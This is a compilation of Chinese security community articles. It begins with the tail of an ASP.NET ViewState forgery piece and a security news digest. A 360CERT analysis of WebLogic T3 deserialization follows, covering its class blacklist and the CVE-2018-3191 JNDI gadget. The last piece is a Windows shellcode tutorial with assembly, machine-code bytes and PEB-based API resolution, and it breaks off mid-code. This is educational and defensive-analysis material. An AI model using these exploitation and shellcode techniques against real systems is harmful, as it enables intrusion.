ViewState。当然了伪造 ViewState 仍然需要 泄露web.config，知晓其 密钥与算法。
1. 如果签名算法不是AES/3DES，无论是否开启加密功能，我们只需要根据其签名算法和密钥，生成一个签名的ViewState。由于发送该ViewState的时候没有使用"__VIEWSTATEENCRYPTED" 字段，导致ASP.NET 在解析时直接进入GetDecodedData() 进行签名校验，而不再执行解密步骤。
2. 如果签名算法是 AES/3DES，无论是否开启加密功能，我们只需按照先前所讲，对数据先签名一次，再加密一次，再签名一次。 然后发送给服务端，ASP.NET 进入 GetDecodedData()，然后先进 EncryptOrDecryptData() 进行一次校验和解密，出来后再进行一次校验。
换种表达方式，无论使用什么签名算法，无论是否开启加密功能，我们伪造ViewState时，就按照没有开启加密功能情况下的正常步骤，去伪造ViewState。
### 9.附录：
[1] ysoserial.net
<https://github.com/pwntester/ysoserial.net>
[2] viwgen (python 写的viewstate生成工具，不依赖.NET，方便自动化脚本使用)
<https://github.com/0xacb/viewgen>
[3] 什么是View State 及其在ASP.NET中的工作方式
<https://www.c-sharpcorner.com/UploadFile/225740/what-is-view-state-and-how-it-works-in-Asp-Net53/>
[4] 微软官方文档：ASP.NET服务器控件概述
<https://docs.microsoft.com/zh-cn/troubleshoot/aspnet/server-controls>
[5]《MSDN杂志》文章：ViewState 安全
<https://docs.microsoft.com/en-us/archive/msdn-magazine/2010/july/security-briefs-view-state-security>
[6] 安全通告KB2905247
<https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2013/2905247?redirectedfrom=MSDN>
[7] 使用ViewState
<http://appetere.com/post/working-with-viewstate>
[8] Exhange CVE-2020-0688
<https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>
* * * | 社区文章 |
# 【知识】10月26日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：戴尔对一个关键域名失去控制长达一个月之久、 ** ** **境外律师事务所Appleby被黑，大量用户资料泄露****** 、
**大文件下载会使安卓VPN软件崩溃（CVE）** 、 ** **使用OSINT技术黑掉加密货币矿机**** 、 **
**谷歌声音二维码识别——85%成功率**** 、暗藏奥妙的UEFI BIOS漏洞。**
****
**资讯类：**
戴尔对一个关键域名失去控制长达一个月之久
<https://krebsonsecurity.com/2017/10/dell-lost-control-of-key-customer-support-domain-for-a-month-in-2017/>
恶意广告将浏览器导向漏洞利用
<https://hackeroid.org/malvertising-campaign-redirects-browsers-to-terror-exploit-kit/>
境外律师事务所Appleby被黑，大量用户资料泄露
<http://securityaffairs.co/wordpress/64732/data-breach/appleby-hacked.html>
**技术类：**
大文件下载会使安卓VPN软件崩溃（CVE）
[https://wwws.nightwatchcybersecurity.com/2017/10/25/advisory-pia-android-app-cve-2017-15882/](https://wwws.nightwatchcybersecurity.com/2017/10/25/advisory-pia-android-app-cve-2017-15882/)
使用OSINT技术黑掉加密货币矿机
<https://medium.com/@s3yfullah/hacking-cryptocurrency-miners-with-osint-techniques-677bbb3e0157>
Snatchloader分析
<https://www.arbornetworks.com/blog/asert/snatchloader-reloaded/>
坏兔勒索软件技术分析
<https://www.endgame.com/blog/technical-blog/badrabbit-technical-analysis>
谷歌声音二维码识别——85%成功率
<https://github.com/ecthros/uncaptcha>
CSE Zlab发现坏兔的有趣攻击方向
<http://securityaffairs.co/wordpress/64741/malware/preliminary-analysis-bad-rabbit.html>
DDEAuto：漏洞还是特性
<https://0patch.blogspot.com/2017/10/0patching-office-dde-ddeauto.html>
暗藏奥妙的UEFI BIOS漏洞
<https://embedi.com/blog/uefi-bios-holes-so-much-magic-dont-come-inside>
家庭银行中的证书管理
<http://securityaffairs.co/wordpress/64699/hacking/credentials-unmanagement-banking.html> | 社区文章 |
**作者：k1n9@360CERT
来源：[360CERT](https://cert.360.cn/report/detail?id=c8eed4b36fe8b19c585a1817b5f10b9e
"360-CERT")**
### 0x00 前言
上周出的 WebLogic 反序列漏洞，跟进分析的时候发现涉及到不少 Java 反序列化的知识，然后借这个机会把一些 Java
反序列化漏洞的利用与防御需要的知识点重新捋一遍，做了一些测试和调试后写成这份报告。文中若有错漏之处，欢迎指出。
### 0x01 Java 反序列化时序
Java 反序列化时序对于理解 Java 反序列化的利用或是防御都是必要的，例如有些 Gadget 为什么从 readObject
方法开始进行构造，为什么反序列化防御代码写在 resolveClass 方法中等。先写下三个相关的方法。
#### 1.1 readObject
这个方法用于读取对象，这里要说的 readObject 跟很多同名的这个方法完全不是一回事的，注意下图中的方法描述符跟其它同名方法的区别。
java.io.ObjectInputStream
类的注释中有提到，要是想在序列化或者反序列化的过程中做些别的操作可以通过在类中实现这三个方法来实现。比如类 EvilObj 实现了这里的
readObject 方法（方法的描述符需要跟注释提到的一样）的话，在类 EvilObj 的反序列化过程就会调用到这个 readObject
方法，代码例子：
其调用栈如下
看下 readSerialData 方法，在读取序列化数据的时候做判断若是该类实现了 readObject 方法，则通过反射对该方法进行调用。
到这里就能明白为什么有些 Java 反序列化利用的构造是从这里 readObject 方法开始的，然后通过 readObject
中的代码一步一步去构造最终达成利用，这次的 CVE-2018-3191 就是很好的一个例子，后文会讲到 CVE-2018-3191 使用的
Gadget。当然这只是 Java 反序列化利用构造的其中一种方法，更多的可以参考 ysoserial 里的各种 Gadget 的构造。
#### 1.2 resolveClass 和 resolveProxyClass
这两个方法都是在类 java.io.ObjectInputStream 中，resolveClass
用于根据类描述符返回相应的类，resolveProxyClass 用于返回实现了代理类描述符中所有接口的代理类。这两个类的功能使得它们可以被用于 Java
反序列的防御，比如在 resolveClass
方法中可以先对类名进行检测然后决定是否还要继续进行反序列化操作。如果想要在这两个方法中添加一些操作（比如前面提到的做反序列化防御），那处理数据流的类需要继承
java.io.ObjectInputStream ，然后重写下面对应的方法：
protected Class<?> resolveClass(ObjectStreamClass desc)
protected Class<?> resolveProxyClass(String[] interfaces)
这里需要避免混淆的一点是这两个方法是在处理数据流的类中重写，而不是在被反序列化的类中重写，代码例子：
其调用栈如下
同理 resolveProxyClass 的重写方式也是这样。这里要知道的一点是并非在 Java 的反序列化中都需要调用到这两个方法，看下调用栈前面的
readObject0 方法中的部分代码：
看 switch 代码块，假如序列化的是一个 String 对象，往里跟进去是用不到 resolveClass 或 resolveProxyClass
方法的。resolveProxyClass
方法也只是在反序列化代理对象时才会被调用。通过查看序列化数据结构非常有助于理解反序列化的整个流程，推荐一个用于查看序列化数据结构的工具：SerializationDumper
#### 1.3 反序列化时序
贴一张廖新喜师傅在“JSON反序列化之殇”议题中的反序列化利用时序图，用于从整体上看反序列化的流程。
普通对象和代理对象的反序列化走的流程是不一样的，可以看 readClassDesc 方法：
对应着前面时序图中实例化的那一步的不同流程。
#### 1.4 小结
这一章主要是介绍了 Java
反序列化相关的三个方法，通过代码跟踪调试的方式来确定其在什么时候会被调用到，再结合反序列化的时序图就可以对反序列化的整个流程有一定的了解。其实去分析了下反序列化的时序主要是为了知道两点，第一个是反序列化的大体流程，第二个是有哪些方法在这流程中有被调用到，为了解
Java 反序列化的利用和防御做一些知识准备。
### 0x02 WebLogi T3 反序列化及其防御机制
T3 从 WebLogic 的启动到对消息进行序列化的调用栈（由下往上）：
at weblogic.rjvm.InboundMsgAbbrev.readObject(InboundMsgAbbrev.java:73)
at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:45)
at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:283)
at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:214)
at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:498)
at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:348)
at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:394)
at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:960)
at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:897)
at weblogic.socket.PosixSocketMuxer.processSockets(PosixSocketMuxer.java:130)
at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:29)
at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:42)
at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:145)
at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:117)
这里没有去分析 T3 协议的具体实现，抓了一下 stopWebLogic.sh 在执行过程中的数据包：
第一个是握手包，然后第二个包中就可以找到带有序列化数据了，包的前 4 个字节为包的长度。替换序列化数据那部分，然后做数据包重放就可以使得 T3
协议反序列化的数据为自己所构造的了。
#### 2.1 WebLogic 的反序列化防御机制
从调用栈可以知道是在哪里做的反序列化，InboundMsgAbbrev 类的 readObject 方法：
留意下这里的 readObject 方法的描述符，跟前一章提的 readObject 方法描述符是不一样的，也就是说假如反序列化一个
InboundMsgAbbrev 对象，这里的 readObject 方法是不会被调用到的。这里的 readObject 只是在 T3
协议处理消息的代码流程中被使用到。
可以看到处理输入数据流的类为 ServerChannelInputStream，由前一小节知道输入流是可以被控制的，接下来就是实例化
ServerChannelInputStream 对象然后进行反序列化操作。先看下 ServerChannelInputStream 类：
ServerChannelInputStream 类的继承图：
可以得知 ServerChannelInputStream 类是继承了 ObjectInputstream 类的，并且重写了 resolveClass 和
resolveProxyClass 方法。由上一章的内容可以知道 ServerChannelInputStream
类中的这两个方法在对不同的序列化数据进行反序列化的时候会被调用到，这样就不难理解 WebLogic
为什么会选择在这两个方法中添加做过滤的代码了（其实之前出现的针对反序列化的防御方法也有这么做的，重写 ObjectInputstream 类中的
resolveClass 方法或者直接重写一个 ObjectInputstream）。
先说一下 resolveProxyClass 这个方法里为什么用代理的接口名字和 "java.rmi.registry.Registry" 进行对比，这个是
CVE-2017-3248 漏洞的补丁。CVE-2017-3248 漏洞的利用用到 JRMPClient 这个 Gadget，ysoserial 中的
JRMPClient 用到了动态代理，代理的接口就是
"java.rmi.registry.Registry"。针对这个就出现了不少的绕过方法，比如换一个接口
java.rmi.activation.Activator，或者直接不使用代理都是可以的。这里涉及到了 JRMPClient 这个 Gadget
的具体构造，但这不属于本文的内容，想了解这个的话建议去看 ysoserial 中具体是如何构造实现的。
resolveClass 方法中的 checkLegacyBlacklistIfNeeded 方法是用来针对类名和包名做过滤。
从 checkLegacyBlacklistIfNeeded 方法跟进去直到进入 WebLogicObjectInputFilter 类的
checkLegacyBlacklistIfNeeded 方法：
可以看到这里是在 Jre 自带的过滤（JEP290）不可用的情况下才会使用自身实现的方法进行过滤，如果检测到是在黑名单中会抛出异常 Unauthorized
deserialization attempt。看下 isBlacklistedLegacy 方法：
可以看到要是类名第一个字符为 [（在字段描述符中是数组）或是 primitiveTypes（一些基础数据类型）中的其中一个，是不会进行检测的。
检测的地方有两个，一个是类名，一个包名，只要其中一个出现在 LEGACY_BLACKLIST 中便会像前面看到的抛出异常。下面来看一下
LEGACY_BLACKLIST 的值是从哪里来的。
看 WebLogicObjectInputFilter 的一个初始化方法：
在 Jre 的过滤不可用的情况下会设置 LEGACY_BLACKLIST 的值，跟入 getLegacyBlacklist 方法：
值来自于 WebLogicFilterConfig 类的成员变量 BLACKLIST，BLACKLIST 的值由
constructLegacyBlacklist 方法生成：
这里的参数var1，var2 和 var3 对应着
也就是说还可以通过启动参数来控制是否添加黑名单，动态添加或删除一些黑名单。默认情况下的话黑名单就是来自 WebLogicFilterConfig 类中的
DEFAULT_BLACKLIST_PACKAGES 和 DEFAULT_BLACKLIST_CLASSES 了。
打了十月份补丁之后的黑名单如下：
private static final String[] DEFAULT_BLACKLIST_PACKAGES = new String[]{"org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server"};
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler", "com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.RemoteObject"};
#### 2.2 WebLogic 使用 JEP290 做的过滤
JEP290 是 Java9 新添加可以对序列化数据进行检测的一个特性。之后往下对 8u121，7u131 和 6u141
这几个版本也支持了。该特性可用于对序列化数据的最大字节数，深度，数组大小和引用数进行限制，当然还有对类的检测了。使用这个的方法可以为实现
ObjectInputFilter 接口（低版本的 JDK 只在 sun.misc 包中有这个类，Java9 以上在 java.io 包中，目前
Oracle 对 Java9 和 Java10 都停止支持了，最新为 Java11），然后重写 checkInput 方法来对序列化数据进行检测。高版本的
JDK 中 RMI 就有用到这个来做过滤，看下 WebLogic 是如何使用的，JDK 版本为 8u152。
WebLogic 是通过反射来获取到 java.io.ObjectInputFilter 或是 sun.misc.ObjectInputFilter
的各个方法的方式来实现一个 JreFilterApiProxy 对象：
determineJreFilterSupportLevel 方法：
后面的流程大抵如下，根据 DEFAULT_BLACKLIST_PACKAGES 和 DEFAULT_BLACKLIST_CLASSES 的值来给
WebLogicFilterConfig 对象中的成员变量 serialFilter 赋值，serialFilter 的值是作为 JEP290
对序列化数据进行检测的一个格式（里面包含需要做检测的默认值，用分号隔开。包名后面需要带星号，包名或者类名前面带感叹号的话表示黑名单，没有则表示白名单。这些在
ObjectInputFilter 这个接口的方法中都能看到）。接下来就是反射调用 setObjectInputFilter 方法将
serialFilter 的值赋给 ObjectInputStream 中的 serialFilter（假如 ObjectInputStream 对象中的
serialFilter 值为空是不会对序列化数据进行检测的）。看一下 WebLogic 设置好的 serialFilter：
再看 ObjectInputStream 这边，图的左下可以看到从反序列化到进入检测的调用栈：
跟入 checkInput 方法：
前面有些常规的检测，红圈部分是针对 serialFilter 里的格式进行检测的，这里用到了 `Function<T, U>` 接口和 lambda
语法。看下 ObjectInputFilter 接口中的内部类 Global 的代码块就能明白这里是咋做的检测了。
看到它是做的字符串对比（类名和包名）。再回到 ObjectInputStream 类中的 filterCheck 方法代码块的下面：
只要返回的状态是空或者 REJECTED 就直接会抛出异常结束反序列流程了。其它的返回状态只做一个日志记录。
#### 2.3 小结
这一章中可以看到 WebLogic 针对反序列化的防御方法有两种，分别对应着 JEP290 不可用和可用的这两种情况。JEP290
这个的代码逻辑还是挺长的，所以在写分析的时候并没有把每一步的具体内容都写上。这两种方法都是用黑名单的方式来做的过滤，其实它们也不是不能做成白名单，个人觉得白名单的方式应该很容易影响程序的功能，因为
Java
中各种接口和类的封装导致搞不清在反序列化的时候会用到哪些接口或类，所以写代码的时候不好去确定这样一个白名单出来。目前来看这样的过滤方式只有说是在找到新的
Gadget 的情况下才能绕过，从另一个角度来看这样的过滤也使得这里会一直存在问题，只是问题还没被发现。
### 0x03 WebLogic 远程调试及10月补丁修复的漏洞
#### 3.1 WebLogic 远程调试
修改 domain/bin/setDomainEnv.sh，设置 debugFlag 为true
这样启动的时候会监听 8453 作为调试端口，然后使用 Idea 之类的 IDE 建立一个远程调试的配置连接到该端口就可以。需要把 WebLogic 中
jar 包添加到项目中去。因为 WebLogic 没有源码，调试时的代码都是反编译得到的，所以有监控不到变量或者执行的位置跟代码行对不上的问题。
#### 3.2 CVE-2018-3245
这个洞是 7 月份 CVE-2018-2893 的补丁还没有修复完善导致的绕过，涉及到 JRMPClient 这个 Gadget
的构造，具体可以参考[Weblogic JRMP反序列化漏洞回顾](https://xz.aliyun.com/t/2479 "Weblogic
JRMP反序列化漏洞回顾")
这里提一点，黑名单中添加的类名不是直接序列化对象的类名而是它的父类类名能做到过滤效果的原因是在序列化数据中是会带上父类类名的。
#### 3.3 CVE-2018-3191
这个 Gadget 不是新的，只是在 com.bea.core.repackaged.springframework 这个包里还有相关的类。
结合第一章提到的 readObject 这个 Gadget 是非常好理解的，只是还需要知道 JNDI 的利用方式才能完整实现利用。
com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager
这个类在进行反序列化的时候会触发 JNDI 查询，结合针对 JNDI 的利用便可以做到代码执行的效果。
JtaTransactionManager 类的 readObject 方法：
进入 initUserTransactionAndTransactionManager 方法：
进入 lookupUserTransaction 方法再往下跟很快就可以看到 JDNI 的查询方法 lookup：
针对 JNDI 的一个利用前提便是 lookup 方法的参数可控，即 name 的值能被传入成一个 RMI 或者 LDAP
的绝对路径。从前面的代码可以知道这里的 name 的值来自于 JtaTransactionManager 类中的成员变量
transactionManagerName，因此只要设置 transactionManagerName 值为可控的 RMI 地址，然后将
JtaTransactionManager 对象序列化后通过 T3 协议传输给 WebLogic 便可以在 T3 协议对数据进行反序列化的时候完成利用。
利用演示：
因为是针对 JDNI 的利用，所以要想在默认的情况下进行利用需要 JDK 的版本小于 8u121 或者 7u131（因为高于这些版本默认情况下已经将
trustURLCodebase 的值设为 false，使得不能做远程类加载），同时服务器需要能够连接外网。
#### 0x04 参考链接
* [Combating Java Deserialization Vulnerabilities with Look-Ahead Object Input Streams (LAOIS)](https://www.nccgroup.trust/us/our-research/combating-java-deserialization-vulnerabilities-with-look-ahead-object-input-streams-laois/ "Combating Java Deserialization Vulnerabilities with Look-Ahead Object Input Streams \(LAOIS\)")
* [Weblogic CVE-2018-3191分析](https://mp.weixin.qq.com/s/ebKHjpbQcszAy_vPocW0Sg "Weblogic CVE-2018-3191分析")
* * * | 社区文章 |
### 概述:
在学习二进制安全过程中，Shellcode的学习是必须的，一个二进制的漏洞触发后的利用，Shellcode该怎么样编写是个问题，本文介绍Windows下的Shellcode详细编写方法。
### Shellcode编写方法
二进制安全的学习是很艰难的，其中Shellcode的编写也是一个难点。对于入门并开始尝试编写Shellcode的朋友来说，我们在编写过程中可以发现Shellcode的编写是有一定的规律可寻的。因为Shellcode在C语言内联汇编中要方便调试一些（纯属个人意见），所以下文就都直接在C语言中进行，编译器为VC++6.0。
我们首先来看下下面这一段代码
#include “windows.h”
int main ()
{
system(“dir”);
return 0;
}
我们把这段代码转化为汇编代码，但前提条件是我们需要知道这个system函数的内存地址（由于ASLR的原因，函数的内存地址在每台机器上可能会不一样）。下面是获取DLL内存地址的代码,以获取DLL中导出函数“system”为例子。
#include "windows.h"
#include "stdio.h"
int main()
{
HINSTANCE LibHandle = LoadLibrary("msvcrt.dll"); //要获取DLL的内存地址
printf("msvcrt Address = 0x%x \n",LibHandle);
LPTSTR getaddr = (LPTSTR)GetProcAddress(LibHandle, "system"); //获取DLL中导出函数地址
printf(“system Address = 0x%x \n", getaddr);
getchar();
return 0;
}
现在，在我们获取了函数地址后，我们来把之前的代码转换为汇编代码。
对于字符串，我们需要先把它们转换为十六进制,这样才能顺利的入栈。
首先开头呢，一般是保存栈指针，以免出现以后恢复寄存器的混乱
push ebp
mov ebp,esp
当esp保存好了之后，那么我们就需要把用到的寄存器清零，清零的方法有几种，最常用的就是xor异或操作，因为这个指令一般不会产生坏字符（如/x00）,在清零后我们把寄存器入栈。因为这里的测试代码命令只有3个字符，所以只需要压入一个寄存器，如果参数多的话就需要压入多个寄存器，本文使用的是32位寄存器，所以一个寄存器代表4个字节，即使我们的命令参数不够或者多出1个或者少于1个字符，我们都需要以4的倍数压入寄存器。
xor ebx,ebx
push ebx
System函数只有一个参数，那就是系统命令，这里我们用的是“dir”命令来做演示，“dir”换做十六进制是646972,把它们依次入栈，因为压入栈的参数是4字节的，所以我们依次压入，在栈指针[ebp-04h]的位置开始。
mov byte ptr [ebp-04h],64h
mov byte ptr [ebp-03h],69h
mov byte ptr [ebp-02h],72h
在入栈后，我们需要把参数地址给拿出来，由于栈是从上往下的压入，所以我们直接用[ebp-04h]就是栈所指向的参数入口地址，用伪指令lea取出（一般取地址都是用lea指令，其他指令也行），随后调用system的内存地址并执行，最后恢复堆栈平衡，前面入栈了多少字节，那么这里就需要恢复多少字节。
lea ebx, [ebp-04h]
push ebx
mov ebx,0x74deb16f
call ebx
完整的代码如下
void main()
{
_asm
{
//system("dir"); //64 69 72
push ebp
mov ebp,esp
xor ebx,ebx
push ebx
mov byte ptr [ebp-04h],64h
mov byte ptr [ebp-03h],69h
mov byte ptr [ebp-02h],72h
lea ebx, [ebp-04h]
push ebx
mov ebx,0x74deb16f ；system函数地址
call ebx
;恢复堆栈
add esp,0x4 ;恢复esp
pop ebx
pop ebp
}
}
那么现在我们再来看这个例子
#include <windows.h>
void main()
{
LoadLibrary("msvcrt.dll");
｝
我们按照上文所述方法，一样的来做一遍，这里因为字符串"msvcrt.dll"长度为10，按照4的倍数推算应该为12个完整的字节数，所以我们要压入3个寄存器，然后取出LoadLibraryA函数地址并执行。
_asm{
//LoadLibrary("msvcrt.dll");
push ebp
mov ebp,esp
push eax
push eax
push eax
mov byte ptr [ebp-0ch],6dh
mov byte ptr [ebp-0bh],73h
mov byte ptr [ebp-0ah],76h
mov byte ptr [ebp-09h],63h
mov byte ptr [ebp-08h],72h
mov byte ptr [ebp-07h],74h
mov byte ptr [ebp-06h],2eh
mov byte ptr [ebp-05h],64h
mov byte ptr [ebp-04h],6ch
mov byte ptr [ebp-03h],6ch
lea eax,[ebp-0ch]
push eax
mov eax,0x763d49d7 //LoadLibararyA的内存地址
call eax
}
我们从上文可以看出，只要我们知道函数的地址，那么写出Shellcode就很简单了，大部分的代码都是一样的，照着流程走一遍就行了。
我们现在可以知道，具体的通用格式已经有了轮廓
push ebp
mov ebp,esp ;保存栈指针
xor eax,eax ;清零寄存器
push eax ;压入通用寄存器
mov byte ptr[ebp-xxxh],xxxh ;参数入栈
lea eax,[ebp-xxxh] ;取参数地址入口
push eax
mov eax ,0XFFFFFFFF ;需要调用的函数地址
call eax ;执行函数
;平衡堆栈
add esp,0xffffff
pop eax ;恢复寄存器
pop ebp
但是，这个写法适用于小型的Shellcode，如果一个函数有很多的参数，那不是要写很长很长？所以如果我们要写一个长的Shellcode,我们就需要换一种写法。
我们还是以上面这个例子为例，不过现在我们需要对上面的代码进行改写一下，开头还是不变，需开辟4个字节的栈空间，用sub
esp,0x4语句，如果需要更大的空间就需要sub
esp，0xffffffff，所有的操作都用寄存器来进行，还有一个重要的一点就是，如果在Windows下编写的话，因为系统是小端格式的，所以我们需要反转立即数，“dir”本来的十六进制数为646972，现在我需要进行反转操作，变为726964，因为必须补齐为4字节，所以我们只需在前面添0就行了，为0x00726964;目前因为我们是对寄存器进行操作，所以还需要把byte单字节改为4字节的dword，其余的都没有什么变化，就是压缩了一下代码量，具体代码如下
push ebp
mov ebp,esp
sub esp,0x4
xor ebx,ebx
mov ebx,0x00726964
mov dword ptr[ebp-04h],ebx
lea ebx, [ebp-04h]
push ebx
mov ebx,0x74deb16f
call ebx
;平衡堆栈
add esp,0x4
pop ebx
pop ebp
如果改为其他的函数，也是一样的写法，大同小异。这个时候，通用的Shellcode模版写法我们可以改为
push ebp
mov ebp,esp ;保存栈指针
sub esp,0xffffffff ;开辟栈空间
xor eax,eax ;清零寄存器
push eax ;压入通用寄存器
mov dword ptr[ebp-xxxh],eax ;参数入栈
lea eax,[ebp-xxxh] ;取参数地址入口
push eax
mov eax ,0XFFFFFFFF ;需要调用的函数地址
call eax ;执行函数
;平衡堆栈
add esp,0xffffffff
pop eax ;恢复寄存器
pop ebp
### Shellcode的生成
在我们写好了Shellcode后，需要做的就是提取机器码了，机器码才是我们真正的Shellcode。提取的方法就有很多了，这里呢就以VC6.0编译器来做个示范，进入调试模式，就可以看到程序的机器码了。如图，我们直接抄就行了。
最后提取的Shellcode如下
shellcode[]="\x55\x8B\xEC\x83\xEC\x04\x33\xDB\xBB\x64\x69\x72\x00\x89\x5D\xFC\x8D\x5D\xFC\x53\xBB\x6F\xB1\xDE\x74\xFF\xD3\x83\xC4\x04\x5B\x5D”
//#include "windows.h"
void main(){
unsigned char shellcode[]="\x55\x8B\xEC\x83\xEC\x04\x33\xDB\xBB\x64\x69\x72\x00\x89\x5D\xFC\x8D\x5D\xFC\x53\xBB\x6F\xB1\xDE\x74\xFF\xD3\x83\xC4\x04\x5B\x5D";
((void (*)())&shellcode)(); // 执行shellcode
}
这段程序执行可能会存在问题，因为没有加上退出函数。所以，我们还必须加上退出函数或者返回函数，这里用ret，ret的机器码为\xC3。
shellcode[]="\x55\x8B\xEC\x83\xEC\x04\x33\xDB\xBB\x64\x69\x72\x00\x89\x5D\xFC\x8D\x5D\xFC\x53\xBB\x6F\xB1\xDE\x74\xFF\xD3\x83\xC4\x04\x5B\x5D\xC3";
测试后完美运行
### 独立Shellcode编写
当然，我们编写Shellcode不是只为了在本机上运行，而是要通用于任何机器。所以，我们需要不依赖外部查找函数地址，那么，我们需要一段代码能够自己定位任意函数地址。
我们要调用一个函数，必须要知道其地址，而我们在调用函数时又必须要载入链接库，那么我们就必须要知道LoadLibrary()函数地址，获取地址需要函数GetProcAddress()，而GetProcAddress()函数在“kernel32.dll”的里面。所以，我们在寻找地址时，需要用到这么几个关键字“kernel32.dll”、”GetProcAddress()”、”LoadLibrary()”。
正如我们在前面讲的的那样，为了生成可靠的shellcode代码，我们需要遵循一些步骤。我们知道要调用什么函数，但是首先，我们必须找到这些函数，在前面已经讨论了怎么调用函数地址的步骤。
必要的步骤如下:
> 1.找到kernel32.dll被加载到内存中
> 2.找到其导出表
> 3.找到由kernel32.dll导出的GetProcAddress函数
> 4.使用GetProcAddress查找LoadLibrary函数的地址
> 5.使用LoadLibrary来加载动态链接库
> 6.在动态链接库中找到函数的地址
> 7.调用函数
> 8.查找ExitProcess函数的地址
> 9.调用ExitProcess函数
以上就是一个完整的Shellcode编写过程，具体为什么要这么写，网上也有许多的资料。这里主要是利用PEB结构来查找关键dll文件的，这个和PELoader有关系，这里就不再详细介绍了。我们还是用最开始的那个例子，system("dir")。
**寻找kernel32.dll的基地址**
正如你在下面看到的，我们可以利用PEB结构找到kernel32.dll。使用以下代码将dll库加载到内存中
xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = Base address
**查找kernel32.dll的导出表**
我们在内存中找到kernel32.dll。现在我们需要解析这个PE文件并找到导出表。
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset names table
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0
**查找GetProcAddress函数名**
我们现在在“AddressOfNames”上，一个指针数组(kernel32.dll的地址被加载到内存中。因此，每个4字节将表示一个指向函数名的指针。我们可以通过循环查找完整的函数名，函数名序号(GetProcAddress函数的“number”)如下:
;循环查找GetProcAddress函数
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword ptr[eax], 0x50746547 ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
**寻找GetProcAddress 函数**
此时，我们只找到了GetProcAddress函数的序号，但是我们可以使用它来查找其他函数的实际地址:
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; CX = Number of function
dec ecx
mov esi, [edx + 0x1c] ; ESI = Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress
**寻找LoadLibary函数地址**
利用GetProcAddress()函数，我们可以找到LoadLibraryA()函数的地址。在实际中是没有LoadLibrary()这个地址的，LoadLibraryA()就等价于LoadLibrary()。
xor ecx, ecx ; ECX = 0
push ebx ; Kernel32 base address
push edx ; GetProcAddress
push ecx ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp ; “LoadLibraryA”
push ebx ; Kernel32 base address
call edx ; GetProcAddress(LL)
以上，就是整个Shellcode编写框架的核心了，有了GetProcAddress()函数，我们就可以寻找任何函数的地址了。
**加载msvcrt.dll库**
我们之前找到了LoadLibrary函数地址，现在我们将使用它来加载到内存中“msvcrt.dll”。包含我们的system函数的库。
这里有个问题是
“msvcrt.dll”的字符串长度为10个字符，不足12个字节，所以在剩余的2个字节我们用低位寄存器cx来存储（用什么寄存器不重要），cx是ecx寄存器的一半，ecx是32位寄存器，ecx存储高16位数据，cx存储低16位数据，这样可以避免产生坏字符。
add esp, 0xc ; pop “LoadLibraryA”
pop ecx ; ECX = 0
push eax ; EAX = LoadLibraryA
push ecx ; 6d737663 72742e64 6c6c
mov cx, 0x6c6c ; ll
push ecx
push 0x642e7472 ; rt.d
push 0x6376736d ; msvc
push esp ; “msvcrt.dll”
call eax ; LoadLibrary(“msvcrt.dll”)
在编写过程中，我们可以把msvcrt.dll修改为任意DLL文件,但要注意字节数。
**得到system函数地址**
我们加载了msvcrt.dll库，现在我们想调用GetProcAddress来获取system函数的地址。
这里呢，还是为了不产生坏字符，所以把字符串补够了4字节，然后删除。当然，我们也可以用低16位寄存器来存储，像上文那样。
在这个地方，因为上面我们用了16 位寄存器，所以我们下面恢复的字节就要比完整的32位寄存器字节数少一半。
add esp, 0x10 ; Clean stack
mov edx, [esp + 0x4] ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0
push ecx ;73797374 656d
mov ecx,0x61626d65 ;emba
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove “a”
